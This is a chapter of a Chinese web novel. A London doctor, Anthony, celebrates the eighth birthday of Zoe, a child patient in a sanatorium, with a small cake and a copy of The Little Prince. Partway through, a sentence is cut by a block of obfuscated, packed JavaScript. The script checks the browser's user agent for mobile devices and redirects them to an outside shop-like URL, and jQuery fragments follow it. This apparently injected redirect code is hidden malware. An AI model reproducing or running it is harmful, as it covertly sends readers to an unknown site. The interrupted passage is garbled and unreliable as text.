2005年11月。
这次肺炎，佐伊躺了一整周，又花了两周慢慢恢复，才回到了生病前的作息。因此，她的八岁生日，是在疗养院房间里过的。
安东尼此前探望时，发现她很喜欢那个南瓜骷髅，本来考虑请假带她去农场玩一天，但看她这缓慢的恢复节奏和精神状态，就放弃了，甚至提都没敢提自己脑子里的这个设想。
至于查尔斯，这个号称“个人很重视这个病例”的大老板，远在澳洲谈煤炭交易，腾不出时间，没来。但他勉强记得用MSN打了个视频电话过来，又拜托了疗养院这边定了个蛋糕作为庆祝。
那天安东尼在值班，佐伊发短信给他，说蛋糕有点大，请他去吃。安东尼处理好病人，洗过手，交了班，看见来自佐伊的未读短信，回了个电话直接问：请我吃蛋糕？多大一只？”
佐伊在电话那头有点不好意思的笑了笑，声音里还带着点咳痰的动静，“你的巴掌大。疗养院本来想给我安排个六寸的。我申请了个更小的。”
“你不是很爱吃甜食么？蓝莓派你可以自己吃一整个，这么小一个蛋糕，你全部自己吃也就几口。”安东尼在更衣室一边换衣服一边打电话，神情里带着自己都没意识到的笑意。
“奶油不行，我吃了就不舒服。所有含植脂末的东西都没法多吃。”小家伙一本正经得说，言语藏着很隐约的期待，“所以，你来吗？”
“你不说我也会来的。一会儿见。”安东尼挂了电话。
在这孩子病了一场之后，安东尼总算把她的手机号存进了自己的通讯录。而佐伊的手机，则勉为其难的存下了安东尼的生活手机号，以及工作手机号。
佐伊这一年，几乎都只通过邮件预约安东尼的时间，所有“讲座”和“查房”之外的碰面都属于偶遇。佐伊独立惯了，她不想“入侵”安东尼的生活空间，贸然因为“私事”打电话这种行为，在她的处事原则中属于打扰与冒犯。
“那我可以给你打电话吗？”安东尼用佐伊当时问他可不可以发邮件问问题的句式反问。
“可以。我空着。”佐伊点点头。
“那你也可以给我打电话，在你需要的时候。比如生病的时候。”安东尼说，“外交对等。”
“不行。”佐伊被安东尼的用词逗笑了一下，“我闲着，没有哪里需要我去，但是你不一样。你有工作，有那一堆病人，以及应得的假期。”
安东尼深吸了一口气，把自己家人会不顾自己休息时间随时打电话沟通生活琐事的问题都透露给了佐伊，试图用从小到大无时不刻被“盯着”的情况告诉佐伊，偶尔给他打个电话这件事很正常，没关系，“你完全可以打电话，没问题。”
但是佐伊皱了皱眉，“可是，那是你的边界。或许你的家人没有尊重你的意愿，但那是你的家人的问题。我必须尊重。”
安东尼被这套逻辑辩驳的无话可说，只得被迫把自己的合同条款拿出来，和这个小家伙好好谈了谈关于“照顾”的具体定义，包括并不仅限于预约复查，解读体检报告，提供日常生活健康指导等……她这才同意了“生病必须告诉安东尼”这件事。
“如果你不告诉我，我想我违约了。”安东尼很认真的看着她。佐伊显然觉得这事情好像不太对，但是没找到具体的可以反驳的抓手，这才没继续坚持。
但是，佐伊最后皱着眉与安东尼约法三章：我不会随便给你打电话的，万一耽误你接科室电话怎么办？你在抢救的时候也没时间接电话，我会影响你，也会影响你的病人。所以，我给你发消息。
安东尼答应了，“可以。我看到了会回消息。”
就这样。两个人才总算建立起了即时通讯的联系。
——
八点半，天黑透了，云层也很厚，看不见星星。安东尼走得很快，不是因为别的，是因为室外太冷了。他在路上想着，下次要跟着小家伙走一次从停车场到办公区的路，这样就不用在户外吹十分钟的冷风。
安东尼敲门进去的时候，佐伊正背对着房间门在看电脑。面前的窗户像镜子，倒影着她的影子，面孔被显示屏的光线照亮了一些。在黑黑的玻璃上留下了一个模模糊糊的反光。房间里很冷静——书，电脑，打印出来的文件，笔记本，便利贴。安东尼知道，那群规培生会在宿舍和休息室里放解压的毛绒玩具，摆件，手办，贴满明星海报。而这里，冷静得像个大学教授的工作室。这个大约总是在医疗环境里长大的孩子已经习惯了，不在自己身边留下任何难以消毒的东西。
“晚上好。little Prince.”安东尼半开玩笑的打了个招呼，“生日快乐。”
佐伊回了回头，听到熟悉的声音，明显高兴了些，保存了自己正在敲的东西，把电脑阖上了。
“晚上好。”她笑得有点腼腆，“蛋糕在床头柜上。”
安东尼走过去，看了一眼那个蛋糕。确实只有巴掌大，白奶油上面用巧克力写着“8”，旁边放着一根蜡烛。蛋糕边上放着两副纸盘和叉子，还有一把切蛋糕的塑料刀。
“我们点蜡烛？”他问。
“不了，点了还得吹。”佐伊很平静得说，“我吹完了大概得咳嗽半天。”
安东尼点点头，在床边坐下来。佐伊往边上上挪了挪，给他腾出点地方。
他拿起那把塑料刀，把蛋糕切成两半。一半放到纸盘里，递给佐伊，另一半放到另一个盘里，留给自己。
佐伊接过来，低头看了看，然后拿起叉子，切了一小块，送进嘴里。
安东尼看着她吃。她吃得很慢，一小口一小口的，像是在品什么很珍贵的东西。
“好吃吗？”
“嗯。”佐伊点点头，“巧克力味的。疗养院的人问我想吃什么味的，我说随便。他们就定了这个。”
安东尼也吃了一口。就是普通的奶油蛋糕，超市里9.9磅一个的那种，不算好吃，也不算难吃。奶油沾了一点在嘴角，他自己没发现。
房间里安静了一会儿。只有窗外偶尔传来的风声，和监护仪低低的待机声——它没开，只是插着电。
“查尔斯今天打电话了。”佐伊吃着吃着，忽然说。
“嗯？”
“用MSN打的视频。”她说，“他在澳洲，那边现在是凌晨，他刚从谈判桌上下来，累的眼睛都红了。”
安东尼没说话，等着她继续。
“他说等回来给我补礼物。”佐伊又吃了一口蛋糕，“我说不用，蛋糕就够了。”
安东尼捧着自己的纸盘，看着佐伊吃东西，她低着头，专注地对付那块蛋糕，看不出来在想什么。
蛋糕吃完了。安东尼把外套内插袋里的礼物包拿出来，蓝色条纹的包装纸，包着一本书，“生日快乐。”
佐伊眼睛明显亮了亮，没有伸手接，“可是你已经送过了。”
“什么？”
“那个南瓜。小骷髅。”佐伊指了指窗台。那个橘色的小东西被彻底风干了。干巴巴的，有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401652|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点皱，表情看起来又冷静又可爱的。显然是陪着她看书的玩具——也是这整个房间里，唯一看起来孩子气的东西。
安东尼愣了愣，把礼物塞进佐伊手里，“只是…一个小礼物…”
“嗯，是你特地送我的。”佐伊抽了一张纸巾，递给安东尼，指了指自己的嘴角，示意他擦一下，“奶油。”
安东尼接过来擦了擦，“拆开看看？”
佐伊拆开包装，“小王子？”
“嗯，little prince.”
《小王子》绘本，精装，封面上画着一个小人站在星球上。佐伊愣了一下，把书拿出来，翻过来，倒过去，看了看封面，又看了看封底。
“这是什么？”
“故事书。”安东尼说，“你没看过吧？”
佐伊摇摇头，“以前在…之前那个疗养院的时候，有老师读过，但是我已经记不清了。”
“讲一个小王子，从他的星球出发，去各个星球旅行。”安东尼说，“里面有一句话，我记了很久。”
佐伊抬起头，看着他。
“什么话？”
安东尼想了想，“‘It is the time you have wasted for your rose that makes your rose so important.’你在你的玫瑰花身上耗费的时间，使得你的玫瑰花变得如此重要。”
佐伊低头看着那本书，“你为什么对我这么好？”
这个问题来得太突然，他一时不知道该怎么回答。因为查尔斯？因为合同？因为那个“一直帮忙看着”的附加条件？因为他是医生，这是他的工作？
他看着对面的孩子。她垂着视线，仿佛认认真真看着书籍的装帧——这是故意没看他——好像这本精装书的封底是一个值得研究的课题。
“因为你是我管的病人。”他说。
佐伊抬起头，一脸“你在哄我”的表情，“还有呢？”
安东尼想了想。
“因为你很厉害。”他说，“你比我见过的很多成年人都努力。你学那些东西，记那些笔记，问那些问题——你做这些的时候，我看着，觉得应该帮你。”
佐伊没表态，但嘴角微笑了一下，这会儿，像一个在讨大人表扬的小孩子，“还有吗？”
安东尼笑了。
“还有，”他说，“因为你是我来伦敦以后，第一个让我觉得，来这里没选错的人。”
她把书抱在怀里，仰起头，看着安东尼。
“谢谢你。”她说，“我会看的。”
“嗯，我该走了，明天要换早班。”安东尼站起来，顺手揉了揉佐伊的脑袋，“别看太晚，早点休息。”
那天晚上，安东尼回到公寓，洗漱完躺在床上，手机震了一下。
他拿起来看。
佐伊的短信：
“我开始看了。那个玫瑰，是他星球上唯一的那朵吗？”
他回：
“是。这也是他离开之后才明白的。”
发完他把手机放在床头柜上，闭上眼睛。
过了一会儿，手机又震了一下。
“那朵玫瑰，后来怎么样了？”
他看着那行字，想了想，然后回：
“你看完就知道了。晚安。”
“晚安。”
他把手机扣在床头柜上，翻了个身。
窗外，伦敦的夜还是黑的。